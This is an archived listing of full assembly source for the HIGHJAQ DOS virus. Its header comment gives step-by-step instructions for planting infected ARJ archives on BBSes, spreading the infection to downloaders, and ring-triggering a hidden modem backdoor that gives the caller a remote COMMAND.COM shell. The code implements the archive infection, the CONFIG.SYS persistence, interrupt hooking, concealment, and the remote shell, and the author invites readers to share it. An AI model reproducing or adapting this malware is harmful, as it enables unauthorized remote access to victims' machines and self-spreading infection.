home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / CCTX0198.ZIP / QMUPDAT7.ZIP / HIGHJAQ.ASM < prev    next >
Assembly Source File  |  1996-06-17  |  22KB  |  758 lines

  1. Comment $
  2.  
  3. HIGHJAQ Virus
  4.  
  5.  
  6. This virus exploits several security bugs of the IBM PC environment to give
  7. a hacker full access to your PC with a modem.
  8.  
  9.  
  10. Old ideas are now incorrect:
  11.  
  12. 1.  No one can gain access to my PC through my modem without modem software
  13.     running; this is now false.
  14. 2.  If I download software from a BBS but don't run it, I can't get a virus;
  15.     this is now also false.
  16.  
  17.  
  18. The bugs that this virus exploits are:
  19.  
  20. 1.  The Switch character "/" used instead of "\".
  21. 2.  Windows' automatic execution of WINSTART.BAT file.
  22. 3.  Execution of Non-*.COM and Non-*.EXE files in the CONFIG.SYS file.
  23. 4.  Having a Modem connected to a phone line.
  24. 5.  COMMAND.COM redirectability.
  25.  
  26.  
  27. Here's how it works:
  28.  
  29. An infected *.ARJ file contains the file /WINSTART.BAT.  When this *.ARJ file
  30. is extracted into a directory to be scanned by a BBS, the /WINSTART.BAT file
  31. does not go into the desired directory but goes into the root directory.
  32. The first bug has been exploited.
  33.  
  34. If the owner of the BBS ever stops the BBS and starts Windows then the file
  35. WINSTART.BAT in the root directory can get executed.  This file when
  36. activated, scans the drive of the PC for more *.ARJ files to add it's
  37. /WINSTART.BAT to them.  Also at this time, the /WINSTART.BAT will add a new 
  38. line to the C:\CONFIG.SYS that looks like this: INSTALLHIGH=C:\AKBM5IVC.1HN
  39. (The name is random and does not have an .EXE or .COM extension so virus
  40. scanners don't scan for it by default)  The /WINSTART.BAT will then erase
  41. itself.  The second bug has been exploited.
  42.  
  43. This new file in the C:\CONFIG.SYS will become resident the next time the PC
  44. reboots (272 Bytes).  The third bug has been exploited.
  45.  
  46. After the HIGHJAQ virus goes memory resident from the C:\CONFIG.SYS file, it
  47. constantly scans the COM ports for Modems.  The hacker then calls the phone
  48. number that the modem is attached to at least once every minute for three
  49. consecutive minutes and just lets it ring once or twice then hangs up.
  50. The virus sees this as a request to gain access to the PC.  If this happens,
  51. the Virus will reboot the system and activate the HIGHJAQ virus from the
  52. C:\CONFIG.SYS and answer the Modem and connect the hacker to a COMMAND.COM
  53. prompt on C:\>  The fourth and fifth bug have been exploited and the PC is 
  54. wide open to attack.
  55.  
  56.  
  57. Hackers, here is what to do:
  58.  
  59. 1.  Move the WINSTART.BAT file that is in your root directory to A:
  60. 2.  Put an *.ARJ file that you wish to infect on Drive A:
  61. 3.  A:
  62. 4.  WINSTART
  63. 5.  Edit C:\CONFIG.SYS and remove the last line INSTALLHIGH=C:\????????.???.
  64. 6.  Call your favorite BBS that runs a Virus Scan on uploaded files.
  65. 7.  Upload the *.ARJ file created in steps 1-4.
  66. 8.  Let the BBS Scan it for viruses.
  67. 9.  Hang-up.
  68. 10. Wait for several days, weeks etc.
  69. 11. Call the same BBS.
  70. 12. Download a different *.ARJ file.
  71. 13. See if the *.ARJ file has /WINSTART.BAT if so then the BBS ran Windows.
  72.     and infected all it's *.ARJ files.  If not go to step 10.
  73. 14. Call the BBS and connect but then hang-up.
  74. 15. Repeat step 14 for 3 minutes.
  75. 16. Call BBS again (should take longer to answer because machine rebooted).
  76. 17. You should now have a C:\> prompt and HIGHJAQ will have identified which
  77.     COM port and baud rate you are connected on.
  78. 18. Use DEBUG scripts to create any program you want like LAPLINK.
  79. 19. EDLIN the AUTOEXEC.BAT to run LAPLINK in Modem mode.
  80. 20. Disconnect and call back and have LAPLINK answer.
  81. 21. Happy hacking.
  82.  
  83.  
  84. Even better:
  85.  
  86. 18. Be familiar with the BBS software and get the log files that show the 
  87.     users and their home phone numbers, maybe even a log of what they
  88.     downloaded.
  89. 19. If the users downloaded an infected *.ARJ file they also have the HIGHJAQ
  90.     virus on their PC.
  91. 20. Repeat steps 14-21 on the Users phone (Just call and let it ring once or
  92.     twice and hang-up for 3 minutes).
  93.  
  94.  
  95. Even even better:
  96.  
  97. 1.  Have your own BBS.
  98. 2.  Infect all the *.ARJ files by running /WINSTART.BAT on you BBS.
  99. 3.  Let people download infected *.ARJ software.
  100. 4.  Wait for several days, weeks etc.
  101. 5.  Call their PC's and gain access to them.
  102.  
  103.  
  104. Experiment with the software and get to know how it works.  Feel free to 
  105. share it with any BBS of your choice.
  106.  
  107.  
  108. "Q" the Misanthrope
  109.  
  110.  
  111. P.S. Works in Windows 95.
  112.  
  113.  
  114. tasm highjaq
  115. tlink /t highjaq
  116. copy highjaq.com winstart.bat
  117. winstart
  118.  
  119.  
  120. $
  121.  
  122. page
  123.  
  124.  
  125. qseg            segment para    public  'code'
  126. simple          proc    far
  127. assume          cs:qseg,es:qseg,ds:qseg
  128.  
  129.  
  130. VIDEO_DISABLE_BIT       equ 20h
  131. VGA_REG                 equ 3C4h
  132.  
  133.  
  134.         org     0100h
  135.  
  136.  
  137. begin:          db      "::"                    ;label used for .com portion
  138.         jo      nextjmp
  139.         jno     nextjmp
  140.         db      0dh,0ah
  141.         db      "@ctty nul",0dh,0ah     ;hide activities
  142.         db      "copy/b %0.bat+%0 c:\q.com",0dh,0ah
  143.         db      "dir \*.arj/s/b|c:\q.com/i",0dh,0ah
  144.         db      ":"                     ;infect all .ARJ files
  145. nextjmp:        jno     nextjmp1
  146.         jo      nextjmp1
  147.         db      0dh,0ah                 ;if already resident don't
  148.         db      "if errorlevel 1 goto " ;infect config.sys again
  149.         jno     $+(comcode-nextjmp1)
  150.         jo      $+(comcode-nextjmp2)
  151.         db      0dh,0ah
  152.         db      "ren c:\q.com "         ;rename com program randomly
  153. fname1          db      "ABCDEFGH.IJK",0dh,0ah
  154.         db      "echo INSTALLHIGH=C:\"  ;infect config.sys
  155. fname2          db      "ABCDEFGH.IJK>>c:\config.sys",0dh,0ah
  156.         db      ":"
  157. nextjmp1:       jno     comcode                 ;windows 95 runs winstart.bat
  158. nextjmp2:       jo      comcode                 ;while windows runs winstart
  159.         db      0dh,0ah                 
  160.         db      "for %%a in (%0 %0.bat) do if exist %%a set q=%%a",0dh,0ah
  161.         db      "del c:\q.com",0dh,0ah
  162.         db      "ctty con",0dh,0ah
  163.         db      "@del %q%",1ah          ;delete batch file
  164.  
  165.  
  166. comcode:        mov     bx,0003h                ;see if this is from bat or
  167.         cmp     byte ptr ds:[bx+80h-03h],bh
  168.         jne     piped                   ;from the config.sys line
  169.         jmp     notpiped
  170. stopit:         mov     ax,0fefeh               ;mem residency check
  171.         mov     bx,ax
  172.         int     21h
  173.         mov     ax,4c00h                ;exit program
  174.         cmp     si,1994h
  175.         je      isres
  176.         push    ax
  177.         mov     ah,30h
  178.         int     21h
  179.         cmp     al,05h                  ;don't infect config if less
  180.         pop     ax                      ;than dos 5.0
  181.         jae     notres
  182. isres:          inc     al
  183. notres:         int     21h
  184. piped:          push    cs
  185.         pop     ds
  186.         push    cs
  187.         pop     es
  188.         mov     di,offset inputbuf      ;*.ARJ file name from pipe
  189.         push    di
  190.         cld
  191. getnextpipedch: mov     ah,0bh                  ;check for more piped input
  192.         int     21h
  193.         or      al,al
  194.         jz      stopit
  195.         mov     ah,06h                  ;get that piped char
  196.         mov     dl,0ffh
  197.         int     21h
  198.         cmp     al,0ah                  ;throw away linefeed
  199.         je      getnextpipedch
  200.         cmp     al,0dh                  ;null terminated cariage return
  201.         jne     storeit
  202.         xor     ax,ax
  203. storeit:        stosb
  204.         jnz     getnextpipedch          ;if not null get next char
  205.         mov     cx,11
  206.         mov     di,offset fname1     
  207. setname:        xor     ax,ax                   ;create random file name
  208.         out     43h,al
  209.         push    cx
  210.         in      al,40h
  211.         mov     cx,ax
  212. around:         loop    around                  ;psuedo random delay
  213.         pop     cx
  214.         and     al,1fh                  ;32 letters possible
  215.         add     al,'A'
  216.         cmp     al,'Z'
  217.         jbe     nameit
  218.         sub     al,42                   ;if above Z then make it 1-6
  219. nameit:         stosb                           ;save random name
  220.         mov     byte ptr ds:[fname2-fname1+di-01h],al
  221.         cmp     cl,04h                  ;step over the .
  222.         jne     incloop
  223.         inc     di
  224. incloop:        in      al,40h                  ;get the high byte
  225.         loop    setname
  226.         pop     dx                      ;point to file name
  227.         mov     ax,3d02h
  228.         int     21h
  229.         jc      piped
  230.         xchg    ax,bx
  231.         mov     ax,5700h                ;get file date
  232.         push    ax
  233.         int     21h
  234.         push    cx
  235.         push    dx
  236.         and     cx,1fh                  ;see if date seconds=0
  237.         jz      infected                ;if so don't infect
  238.         call    infectarj               ;else infect it
  239. infected:       pop     dx
  240.         pop     cx
  241.         pop     ax
  242.         inc     ax
  243.         and     cl,0e0h                 ;set seconds=0
  244.         int     21h
  245.         mov     ah,3eh                  ;close and go to next file
  246.         int     21h
  247.         jmp     piped
  248.  
  249.  
  250. vname           db      0dh,0ah,'HIGHJAQ on COM';virus name and com port
  251. portasc         db      '1:38400,N,8,1',0dh,0ah
  252. command         db      'C:\COMMAND.COM',0      ;command interpreter
  253. comtail         db      exectab-param-1
  254. param           db      ' C:\ COM'              ;with redirect line
  255. ascport         db      '1 /E:1024/P/F',0dh
  256. exectab         dw      0,comtail,0,5ch,0,6ch,0
  257. mstring         db      'ATL0M0A',0dh,0ah       ;answer modem quietly
  258. mend            label   byte
  259.  
  260.  
  261. notpiped:       mov     ax,ds                   ;executed from config.sys
  262.         dec     ax
  263.         mov     ds,ax
  264.         xor     cx,cx                   ;misidentify program as IO
  265.         mov     word ptr ds:[bx-03h+08h],'OI'
  266.         mov     word ptr ds:[bx-03h+0ah],cx
  267.         mov     ds,word ptr ds:[bx-03h+2ch+10h]
  268. findname:       inc     bx                      ;find program name
  269.         cmp     word ptr ds:[bx-04h],cx
  270.         jne     findname
  271.         mov     dx,bx
  272.         mov     ax,4301h                ;and set it to system and r/o
  273.         mov     cl,05h
  274.         int     21h
  275.         push    ds
  276.         pop     es
  277.         mov     ah,49h                  ;clear environment space
  278.         int     21h
  279.         mov     bx,0040h                ;examine comports
  280.         xor     di,di
  281.         mov     ds,bx
  282. loopcom:        mov     dx,word ptr ds:[bx+di-40h]
  283.         or      dx,dx
  284.         jz      gores
  285.         inc     bx
  286.         inc     di
  287.         cmp     bl,44h
  288.         je      gores
  289.         add     dl,07h                  ;3ffh scratchpad reg used
  290.         in      al,dx                   ;to determine if necessary to
  291.         cmp     al,'Q'                  ;answer modem and allow hacker
  292.         je      foundq
  293.         dec     dx
  294.         in      al,dx
  295.         and     al,30h                  ;dsr cts on?
  296.         cmp     al,30h                  ;simple modem test
  297.         jne     loopcom
  298.         mov     word ptr cs:[bx+di+modems-42h],dx
  299.         jmp     short loopcom
  300. foundq:         xor     ax,ax                   ;86 'Q' in the scratchpad reg
  301.         out     dx,al
  302.         push    cs
  303.         pop     ds
  304.         dec     dx                      ;3feh
  305.         mov     word ptr ds:[port],dx   ;for monitoring hangup later
  306.         dec     di                      ;di=com? number -1
  307.         add     word ptr ds:[portasc],di
  308.         add     word ptr ds:[ascport],di
  309.         jmp     runcommand              ;goto answering the modem
  310. gores:          push    cs
  311.         pop     ds
  312.         mov     ax,3521h                ;if normal residency get
  313.         int     21h                     ;interrupts
  314.         mov     word ptr ds:[prev21],bx
  315.         mov     word ptr ds:[prev21+2],es
  316.         mov     ax,3508h
  317.         int     21h
  318.         mov     word ptr ds:[prev8],bx
  319.         mov     word ptr ds:[prev8+2],es
  320.         mov     cx,(offset endrescode)-(offset rescode)
  321.         mov     di,40h                  ;now move code down to 40h
  322.         mov     si,offset rescode       ;to save residency space
  323.         push    cs
  324.         pop     es
  325.         rep     movsb
  326.         mov     dx,(offset new8)-(offset rescode)+40h
  327.         mov     ax,2508h                ;set interrupts
  328.         int     21h
  329.         mov     dx,(offset new21)-(offset rescode)+40h
  330.         mov     ax,2521h
  331.         int     21h
  332.         lea     dx,word ptr ds:[di+0eh]
  333.         mov     cl,04h
  334.         shr     dx,cl
  335.         mov     ax,3100h                ;go resident
  336.         int     21h
  337.  
  338.  
  339. rescode         label   byte
  340.  
  341.  
  342. modems          dw      0,0,0,0                 ;modem ports to monitor
  343. ringcnt         dw      0,0,0,0                 ;if they rang in last minute
  344. ring3           dw      2,2,2,2                 ;count down timer
  345. onemin          dw      1091                    ;one minute of timer ticks
  346.  
  347.  
  348. new21:          pushf
  349.         cmp     ax,0fefeh               ;for residency test
  350.         jne     testchmod
  351.         cmp     ax,bx
  352.         jne     testchmod
  353.         mov     si,1994h
  354. testchmod:      cmp     ax,4300h
  355.         jne     onward
  356.         push    bx
  357.         mov     bx,dx
  358.         cmp     word ptr ds:[bx],'W/'   ;allow ARJ.EXE to overwrite
  359.         pop     bx                      ;/WINSTART.BAT files
  360.         jne     onward
  361.         popf     
  362.         stc
  363.         mov     ax,0002h                ;indicate file not found
  364.         retf    02h
  365. onward:         popf
  366. jmp21:          db      0eah
  367. prev21          dd      0
  368.  
  369.  
  370. setreboot:      mov     dx,word ptr ds:[bx+modems-rescode+40h]
  371.         inc     dx                      ;reboot pc and allow hacker in
  372.         mov     al,'Q'                  ;scratchpad reg rides through
  373.         out     dx,al                   ;reset without changing value
  374. reboot:         xor     cx,cx
  375. poundreset:     sti                             ;pound on the reset switch
  376.         mov     al,0feh                 ;several thousand times
  377.         out     64h,al                  ;this will reboot windows etc.
  378.         loop    poundreset
  379.         db      0eah                    ;all else fails goto f000:fff0
  380.         dd      0f000fff0h
  381.  
  382.  
  383. new8:           pushf
  384.         sti
  385.         push    ax
  386.         push    bx
  387.         push    dx
  388.         push    ds
  389.         push    cs
  390.         pop     ds
  391.         mov     bx,0001h                ;prime vm 1 if not in windows
  392.         mov     ax,1683h
  393.         int     2fh
  394.         dec     bx                      ;vm 1 in windows only
  395.         jnz     donecom1
  396.         dec     word ptr ds:[bx+onemin-rescode+40h]
  397.         jns     nextcom1                ;check for minute mark
  398.         mov     word ptr ds:[bx+onemin-rescode+40h],1091
  399. nexttest:       cmp     byte ptr ds:[bx+ringcnt-rescode+40h],00h
  400.         je      setring3                ;check to see if phone rang
  401.         mov     byte ptr ds:[bx+ringcnt-rescode+40h],00h
  402.         dec     byte ptr ds:[bx+ring3-rescode+40h]
  403.         js      setreboot               ;for 3 minutes, if so reboot
  404.         jmp     short incbx
  405. setring3:       mov     byte ptr ds:[bx+ring3-rescode+40h],02h
  406. incbx:          inc     bx                      ;check next modem port
  407.         inc     bx
  408.         cmp     bl,08h
  409.         jb      nexttest
  410.         jmp     short donecom1
  411. nextcom1:       mov     dx,word ptr ds:[bx+modems-rescode+40h]
  412.         or      dx,dx                   ;get modem port
  413.         jz      loopcom1
  414.         in      al,dx
  415.         test    al,44h                  ;test for ring or delta ring
  416.         jz      loopcom1                ;if so indicate it rang
  417.         mov     byte ptr ds:[bx+ringcnt-rescode+40h],01h
  418. loopcom1:       inc     bx
  419.         inc     bx
  420.         cmp     bl,08h
  421.         jb      nextcom1
  422. donecom1:       pop     ds
  423.         pop     dx
  424.         pop     bx
  425.         pop     ax
  426.         popf
  427.         db      0eah
  428. prev8           dd      0
  429.  
  430.  
  431. endrescode      label   byte
  432.  
  433.  
  434. reboot8:
  435.         pushf
  436.         push    ax
  437.         push    bx
  438.         push    dx
  439.         push    ds
  440.         mov     dx,03feh                ;get port to monitor hangup
  441. port            equ     $-2                
  442.         in      al,dx
  443.         test    al,80h
  444.         jnz     donecom1
  445. gotoreboot:     jmp     reboot
  446.  
  447.  
  448. runcommand:     push    cs
  449.         pop     es
  450.         mov     ah,0fh
  451.         int     10h
  452.         cbw
  453.         int     10h
  454.         sub     dl,03h                  ;3fb
  455.         mov     al,80h
  456.         out     dx,al
  457.         sub     dl,03h                  ;3f8
  458.         mov     ax,03h
  459.         out     dx,ax
  460.         add     dx,ax                   ;3fb
  461.         out     dx,al
  462.         inc     dx                      ;3fc
  463.         out     dx,al
  464.         inc     dx                      ;3fd
  465.         inc     dx                      ;3fe for 38400,N,8,1
  466.         push    dx
  467.         mov     dx,VGA_REG              ;disable vga display
  468.         mov     al,1                    ;stolen from Ralf Brown
  469.         out     dx,al
  470.         inc     dx
  471.         in      al,dx
  472.         dec     dx
  473.         mov     ah,VIDEO_DISABLE_BIT
  474.         and     al,not VIDEO_DISABLE_BIT
  475.         or      ah,al
  476.         mov     al,1
  477.         out     dx,al
  478.         inc     dx
  479.         mov     al,ah
  480.         out     dx,al
  481.         pop     dx
  482.         in      al,21h                  ;disable keyboard
  483.         or      al,02h
  484.         out     21h,al
  485.         mov     bl,40h
  486.         mov     ds,bx
  487.         mov     cx,word ptr ds:[bx+6ch-40h]
  488.         add     cx,5460                 ;wait 5 minutes for hacker
  489. retryring:      push    cx                      ;to call modem
  490.         sub     cx,word ptr ds:[bx+6ch-40h]
  491.         pop     cx
  492.         js      gotoreboot
  493.         in      al,dx
  494.         test    al,40h                  ;check for ring
  495.         jz      retryring
  496.         xchg    dx,di                   ;output ATA string
  497.         cld
  498.         mov     si,offset mstring
  499.         mov     cx,word ptr((offset mend)-(offset mstring))
  500. output_data:    lods    byte ptr cs:[si]
  501.         mov     ah,01h
  502.         int     14h
  503.         loop    output_data
  504.         xchg    dx,di
  505.         mov     cx,word ptr ds:[bx+6ch-40h]
  506.         add     cx,1092                 ;wait 1 minute for carrier
  507. retrycd:        push    cx
  508.         sub     cx,word ptr ds:[bx+6ch-40h]
  509.         pop     cx
  510.         js      gotoreboot
  511.         in      al,dx
  512.         test    al,80h
  513.         jz      retrycd
  514.         mov     ax,word ptr ds:[bx+6ch-40h]
  515.         add     ax,55                   ;wait 3 seconds to identify
  516. wait3sec:       push    ax                      ;ourselves and com port
  517.         sub     ax,word ptr ds:[bx+6ch-40h]
  518.         pop     ax
  519.         jns     wait3sec
  520.         push    cs
  521.         pop     ds
  522.         xchg    dx,di
  523.         mov     si,offset vname         ;tell hacker which com port
  524.         mov     cx,word ptr((offset command)-(offset vname))
  525. output_data2:   lods    byte ptr ds:[si]
  526.         mov     ah,01h
  527.         int     14h
  528.         loop    output_data2
  529.         mov     ax,3508h                ;set up monitor for hanging up
  530.         int     21h
  531.         mov     word ptr ds:[prev8],bx
  532.         mov     word ptr ds:[prev8+2],es
  533.         mov     dx,offset reboot8
  534.         mov     ax,2508h
  535.         int     21h
  536.         push    cs
  537.         pop     es
  538.                 mov     bx,offset rend+0fh      ;de-allocate space
  539.         mov     cl,04h
  540.         shr     bx,cl
  541.         mov     ah,4ah
  542.         int     21h
  543.         mov     dx,offset command       ;run command.com
  544.         mov     bx,offset exectab
  545.         mov     word ptr ds:[bx+04h],ds
  546.         mov     word ptr ds:[bx+08h],ds
  547.         mov     word ptr ds:[bx+0ch],ds
  548.         mov     ax,4b00h
  549.         int     21h
  550.         jmp     reboot
  551.  
  552.  
  553. ;stolen from arjdrop in VLAD April Fools issue with only a couple of changes
  554.  
  555. infectarj       proc    near
  556. ;on entry bx=file handle
  557.     push    ds
  558.     push    es
  559.  
  560.     push    cs
  561.     pop     ds
  562.     push    cs
  563.     pop     es
  564.  
  565.  
  566.     mov     ax,4202h
  567.     xor     cx,cx
  568.     cwd
  569.     int     21h
  570.  
  571.     sub     ax,4
  572.     sbb     dx,0
  573.     mov     cx,dx
  574.     mov     dx,ax
  575.     mov     ax,4200h
  576.     int     21h
  577.  
  578.     mov     word ptr csize,offset rend - 100h
  579.     mov     word ptr osize,offset rend - 100h
  580.     
  581.     mov     cx,offset rend - 100h
  582.     mov     si,100h                         ;start of program in memory
  583.     call    crc32
  584.  
  585.     cld
  586.     mov     si,offset marker
  587.     mov     di,offset sparebuff
  588.     mov     cx,offset rend - offset marker
  589.     rep     movsb
  590.  
  591.     mov     word ptr crc,ax
  592.     mov     word ptr crc+2,dx
  593.  
  594.     mov     cx,word ptr bhsize
  595.     mov     si,offset fhsize
  596.     call    crc32
  597.     mov     word ptr acrc,ax
  598.     mov     word ptr acrc+2,dx
  599.  
  600.     mov     ah,40h
  601.     mov     cx,offset fdata - offset marker
  602.     mov     dx,offset marker
  603.     int     21h
  604.  
  605.     mov     ah,40h
  606.     mov     cx,offset marker - 100h
  607.     mov     dx,100h
  608.     int     21h
  609.  
  610.     mov     ah,40h
  611.     mov     cx,offset rend - offset marker
  612.     mov     dx,offset sparebuff
  613.     int     21h
  614.  
  615.     mov     ah,40h
  616.     mov     cx,4
  617.     mov     dx,offset fdend
  618.     int     21h
  619.  
  620.     pop     es
  621.     pop     ds
  622.  
  623.     ret
  624.  
  625. infectarj       endp
  626.  
  627. crc32   proc    near
  628. ;on entry cx=number of bytes to checksum
  629. ;         si=pointer to bytes
  630. ;on exit dx:ax contains the checksum
  631. ;I stole this code from some PD sources I got off a BBS.
  632.  
  633.     push    bx
  634.     push    cx
  635.     push    si
  636.     push    di
  637.  
  638.     call    gentable
  639.  
  640.     mov     dx,-1
  641.     mov     ax,-1
  642.     
  643. crc32loop:
  644.     xor     bx,bx
  645.     mov     bl,byte ptr [si]
  646.     inc     si
  647.     xor     bl,al
  648.     shl     bx,1
  649.     shl     bx,1
  650.     mov     al,ah
  651.     mov     ah,dl
  652.     mov     dl,dh
  653.     xor     dh,dh
  654.     xor     ax,word ptr [bx+crc32tab]
  655.     xor     dx,word ptr [bx+crc32tab+2]
  656.  
  657.     dec     cx
  658.     jnz     crc32loop
  659.     pop     di
  660.     pop     si
  661.     pop     cx
  662.     pop     bx
  663.  
  664.     xor     dx,-1
  665.     xor     ax,-1
  666.  
  667.     ret
  668.  
  669. crc32   endp
  670.  
  671.  
  672. Gentable        proc    near
  673. ;Generates the 32bit crc table.  Thanks to "Necrosoft Enterprises" who had
  674. ;this code inside their Dementia Virus.  I have plenty of other code to do
  675. ;this, but it is all much, much bigger.
  676.  
  677.     push    ax
  678.     push    cx
  679.     push    dx
  680.     push    di
  681.  
  682.     mov     di,offset crc32tab
  683.     xor     cx,cx
  684.  
  685. outgen:
  686.     xor     dx,dx
  687.     xor     ax,ax
  688.     mov     al,cl
  689.     push    cx
  690.     mov     cx,8
  691. calcloop:
  692.     clc
  693.     rcr     dx,1
  694.     rcr     ax,1
  695.     jnc     nocrcxor
  696.     xor     dx,0edb8h
  697.     xor     ax,8320h
  698. nocrcxor:
  699.     loop    calcloop
  700.     mov     word ptr [di],ax
  701.     mov     word ptr [di+2],dx
  702.     add     di,4
  703.     pop     cx
  704.     inc     cx
  705.     cmp     cx,100h
  706.     jne     outgen
  707.     pop     di
  708.     pop     dx
  709.     pop     cx
  710.     pop     ax
  711.     ret
  712. Gentable        endp
  713.  
  714.  
  715. rbuff:
  716.  
  717. marker  db      60h,0eah
  718. bhsize  dw      offset acrc - offset fhsize
  719. fhsize  db      offset aname - offset fhsize
  720. anum    db      6
  721. anum2   db      1
  722. osver   db      0
  723. aflag   db      0
  724. ameth   db      0                               ;stored
  725. aftype  db      0                               ;binary
  726. ares    db      0
  727. dtm     dd      20df33e0h                       ;06/31/96 06:31:00 my birthday
  728. csize   dd      4                               ;compressed size
  729. osize   dd      4                               ;original size
  730. crc     dd      0
  731. fspec   dw      0
  732. faccess dw      0
  733. hstdata dw      0
  734. aname   db      "/WINSTART.BAT",0               ;Switch Character for Root Dir
  735. acomm   db      0
  736. acrc    dd      0
  737. ehsize  dw      0
  738.  
  739. fdata   db      "!"
  740. fdend:
  741. db      60h,0eah,0,0
  742.  
  743. rend:
  744.  
  745. crc32tab        db      100h*4 dup (0)
  746. sparebuff:
  747.  
  748. inputbuf        label   byte                    ;piped file name of *.ARJ file
  749.  
  750. endcode         label   byte
  751.  
  752. simple          endp
  753. qseg            ends
  754.  
  755. end             begin
  756.  
  757.  
  758.